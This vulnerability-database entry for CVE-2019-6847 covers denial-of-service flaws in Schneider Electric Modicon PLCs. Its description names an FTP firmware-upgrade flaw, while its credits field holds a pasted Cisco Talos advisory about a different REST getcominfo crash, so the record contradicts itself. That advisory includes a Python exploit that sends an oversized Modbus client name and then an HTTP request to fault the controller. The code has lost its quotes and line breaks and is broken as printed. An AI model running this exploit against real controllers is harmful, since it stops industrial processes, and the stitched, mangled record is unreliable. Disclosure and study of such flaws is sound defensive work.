ID

VAR-201910-0580

CVE

CVE-2019-6847

TITLE

Schneider Electric Modicon M580/M340/BMxCRA/140CRA Denial of service vulnerability

DESCRIPTION

A CWE-755: Improper Handling of Exceptional Conditions vulnerability exists in Modicon M580, Modicon M340, Modicon BMxCRA and 140CRA modules (all firmware versions), which could cause a Denial of Service attack on the FTP service when upgrading the firmware with a version incompatible with the application in the controller using FTP protocol. plural Modicon The product contains an exceptional condition handling vulnerability.Service operation interruption (DoS) There is a possibility of being put into a state. The Modicon M580/M340/BMxCRA/140CRA are programmable logic controllers from Schneider Electric. A denial of service vulnerability exists in the Schneider Electric Modicon M580/M340/BMxCRA/140CRA

IOT TAXONOMY

AFFECTED PRODUCTS

CVSS

PROBLEMTYPE DATA

THREAT TYPE

remote

TYPE

other

CONFIGURATIONS

PATCH

EXTERNAL IDS

REFERENCES

CREDITS

Discovered by Jared Rittle and Patrick DeSantis of Cisco Talos https://talosintelligence.com/vulnerability_reports/ Timeline 2019-06-21 - Vendor Disclosure Summary An exploitable denial of service vulnerability exists in the UMAS REST API getcominfo functionality of the Schneider Electric Modicon M580 Programmable Automation Controller firmware version SV2.80. A specially crafted HTTP request can cause the device to enter a non-recoverable fault state , resulting in a complete stoppage of remote communications with the device. An attacker can send unauthenticated commands to trigger this vulnerability. Tested Versions Schneider Electric Modicon M580 BMEP582040 SV2.80 Product URLs https://www.schneider-electric.com/en/work/campaign/m580-epac/ CVSSv3 Score 8.6 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H CWE CWE-248: Uncaught Exception Details The Modicon M580 is the latest in Schneider Electric's Modicon line of Programmable Automation Controllers. The device boasts a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP , TFTP , HTTP , SNMP , EtherNet/IP , Modbus , and a management protocol referred to as UMAS. A REST API that allows clients to interact with various pieces of functionality on the device is on the web server , including viewing alarms , querying rack information , and performing select UMAS requests. It is possible to read the registered name of the client holding a PLC reservation by leveraging the /rest/umas/getcominfo UMAS endpoint. In cases where a client has obtained a reservation using a registered name of at least 0x34 bytes , a request to the getcominfo endpoint will sometimes cause the device to enter a non-recoverable fault state. In cases where the fault state does not occur , the HTTP server will become unresponsive. In the non-recoverable fault state , the CPU has entered an error mode where all remote communications have been stopped , process logic stops execution , and the device requires a physical power cycle to regain functionality. Exploit Proof of Concept import structimport socketimport requestsimport random# set up static datarhost = 192.168.10.1rport = 502verbose = Truedef main(): s = socket.socket(socket.AF_INET , socket.SOCK_STREAM) s.connect((rhost , rport)) clientname = A*255 clientnameLen = struct.pack(B , len(clientname)) mbapLen = struct.pack(>H , len(clientname) + 9) transid = struct.pack(>H , random.randint(1 , 255)) msg = {}x00x00{}x00x5ax00x10x3bx0ex00x00{}{}.format(transid , mbapLen , clientnameLen , clientname) s.send(msg) try: uri = http://{}/rest/umas/getcominfo.format(rhost) resp = requests.get(uri , timeout=5) except requests.exceptions.ReadTimeout: print([*] Request timed out. This usually indicates a device fault) except KeyboardInterrupt: print([*] Exiting...) s.close()if __name__ == '__main__': main() Timeline 2019-06-21 - Vendor Disclosure 2019-08-29 - Vendor requested to reject issue 2019-09-03 - Talos provided additional feedback to substantiate vulnerability 2019-09-20 - Vendor acknowledged issue as vulnerability & advised plan for October 2019 disclosure 2019-10-08 - Public Release Credit Discovered by Jared Rittle of Cisco Talos,Discovered by Jared Rittle and Patrick DeSantis of Cisco Talos

SOURCES

LAST UPDATE DATE

2024-11-23T21:36:37.604000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE